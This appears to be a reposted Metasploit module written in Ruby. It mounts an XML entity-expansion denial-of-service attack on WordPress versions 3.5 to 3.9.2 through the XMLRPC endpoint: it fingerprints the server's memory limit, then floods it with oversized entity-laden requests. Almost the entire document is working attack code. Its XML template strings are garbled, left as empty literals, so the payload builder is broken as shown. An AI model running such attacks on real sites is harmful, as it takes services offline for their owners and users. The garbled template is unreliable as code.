## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::HTTP::Wordpress include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress XMLRPC DoS', 'Description' => %q{ Wordpress XMLRPC parsing is vulnerable to a XML based denial of service. This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are also patched). }, 'Author' => [ 'Nir Goldshlager', # advisory 'Christian Mehlmauer' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://wordpress.org/news/2014/08/wordpress-3-9-2/'], ['URL', 'http://www.breaksec.com/?p=6362'], ['URL', 'http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/'], ['URL', 'https://core.trac.wordpress.org/changeset/29404'] ], 'DisclosureDate'=> 'Aug 6 2014' )) register_options( [ OptInt.new('RLIMIT', [ true, "Number of requests to send", 1000 ]) ], self.class) register_advanced_options( [ OptInt.new('FINGERPRINT_STEP', [true, "The stepsize in MB when fingerprinting", 8]), OptInt.new('DEFAULT_LIMIT', [true, "The default limit in MB", 8]) ], self.class) end def rlimit datastore['RLIMIT'] end def default_limit datastore['DEFAULT_LIMIT'] end def fingerprint_step datastore['FINGERPRINT_STEP'] end def fingerprint memory_to_use = fingerprint_step # try out the available memory in steps # apache will return a server error if the limit is reached while memory_to_use < 1024 vprint_status("#{peer} - trying memory limit #{memory_to_use}MB") opts = { 'method' => 'POST', 'uri' => wordpress_url_xmlrpc, 'data' => generate_xml(memory_to_use), 'ctype' =>'text/xml' } begin # low timeout because the server error is returned immediately res = send_request_cgi(opts, timeout = 3) rescue ::Rex::ConnectionError => exception print_error("#{peer} - unable to connect: '#{exception.message}'") break end if res && res.code == 500 # limit reached, return last limit last_limit = memory_to_use - fingerprint_step vprint_status("#{peer} - got an error - using limit #{last_limit}MB") return last_limit else memory_to_use += fingerprint_step end end # no limit can be determined print_warning("#{peer} - can not determine limit, will use default of #{default_limit}") return default_limit end def generate_xml(size) entity = Rex::Text.rand_text_alpha(3) doctype = Rex::Text.rand_text_alpha(6) param_value_1 = Rex::Text.rand_text_alpha(5) param_value_2 = Rex::Text.rand_text_alpha(5) size_bytes = size * 1024 # Wordpress only resolves one level of entities so we need # to specify one long entity and reference it multiple times xml = '' xml << "" xml << ']>' xml << '' xml << '' xml << "%{payload}" xml << '' xml << '' xml << "%{param_value_1}" xml << "%{param_value_2}" xml << '' xml << '' empty_xml = xml % { :doctype => '', :entity => '', :entity_value => '', :payload => '', :param_value_1 => '', :param_value_2 => '' } space_to_fill = size_bytes - empty_xml.size vprint_debug("#{peer} - max XML space to fill: #{space_to_fill} bytes") payload = "&#{entity};" * (space_to_fill / 6) entity_value_length = space_to_fill - payload.length payload_xml = xml % { :doctype => doctype, :entity => entity, :entity_value => Rex::Text.rand_text_alpha(entity_value_length), :payload => payload, :param_value_1 => param_value_1, :param_value_2 => param_value_2 } payload_xml end def run # get the max size print_status("#{peer} - trying to fingerprint the maximum memory we could use") size = fingerprint print_status("#{peer} - using #{size}MB as memory limit") # only generate once xml = generate_xml(size) for x in 1..rlimit print_status("#{peer} - sending request ##{x}...") opts = { 'method' => 'POST', 'uri' => wordpress_url_xmlrpc, 'data' => xml, 'ctype' =>'text/xml' } begin c = connect r = c.request_cgi(opts) c.send_request(r) # Don't wait for a response, can take very long rescue ::Rex::ConnectionError => exception print_error("#{peer} - unable to connect: '#{exception.message}'") return ensure disconnect(c) if c end end end end # Iranian Exploit DataBase = http://IeDb.Ir [2014-08-15]